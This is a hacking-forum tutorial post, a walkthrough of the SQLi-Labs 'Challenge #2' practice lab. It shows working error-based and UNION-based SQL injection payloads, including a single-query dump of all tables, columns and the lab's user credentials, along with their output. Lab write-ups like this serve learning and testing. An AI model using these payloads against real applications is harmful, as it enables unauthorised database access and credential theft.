[SQLi-Labs] Challenge #2 - Printable Version

[SQLi-Labs] Challenge #2 - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Tutorials (https://sinister.ly/Forum-Tutorials)
+--- Thread: [SQLi-Labs] Challenge #2 (/Thread-SQLi-Labs-Challenge-2)

[SQLi-Labs] Challenge #2 - RogueCoder - 10-09-2013

SQLi-Labs - Challenge #2
(Get - Error based - Integer)

Start: Wednesday, October 9 2013 22:48
End: Wednesday, October 9 2013 22:54

Description & Goal:
This challenge is the exact same as the first except that it's integer based, so the only change required to accomplish the same result was to remove the single quote and the double dash at the end which comments out the rest of the query.

The Process

Step 1: Verify the vulnerability

Code:
?id=0'

Quote:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

Step 2: Find number of columns

Code:
?id=0 group by 10		FAILURE
?id=0 group by 9		FAILURE
?id=0 group by 8		FAILURE
?id=0 group by 7		FAILURE
?id=0 group by 6		FAILURE
?id=0 group by 5		FAILURE
?id=0 group by 4		FAILURE
?id=0 group by 3		SUCCESS

Step 3: Determine what column to inject into

Code:
?id=0 union select 1,2,3

Step 4: Verify the vulnerability

Code:
?id=0 union select 1,2,concat_ws(0x7e, version(), database(), user())

Quote:5.5.32-0ubuntu0.13.04.1~security~root@localhost

Step 5: Output all tables and columns in the current database

Code:
?id=0 union select 1,2,(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema=database()) and (table_schema>=@) and (@)in (@:=concat(@,0x0a,table_name,' > ',column_name))))x)

Quote:emails > id
emails > email_id
referers > id
referers > referer
referers > ip_address
uagents > id
uagents > uagent
uagents > ip_address
uagents > username
users > id
users > username
users > password

Step 6: Output all rows from the users table

Code:
?id=0 union select 1,2,(select (@) from (select(@:=0x00),(select (@) from (users) where (id>=@) and (@)in (@:=concat(@,0x0a,id,' > ',username,' > ',password))))x)

Quote:1 > Dumb > Dumb
2 > Angelina > I-kill-you
3 > Dummy > p@ssword
4 > secure > crappy
5 > stupid > stupidity
6 > superman > genious
7 > batman > mob!le
8 > admin > test

The End
That was it for the 2nd challenge in this series. From what I can see from the descriptions of the next few lessons they will be basically the same, so it's a smooth start Smile

Happy hacking

For more of the challenges please check the index file here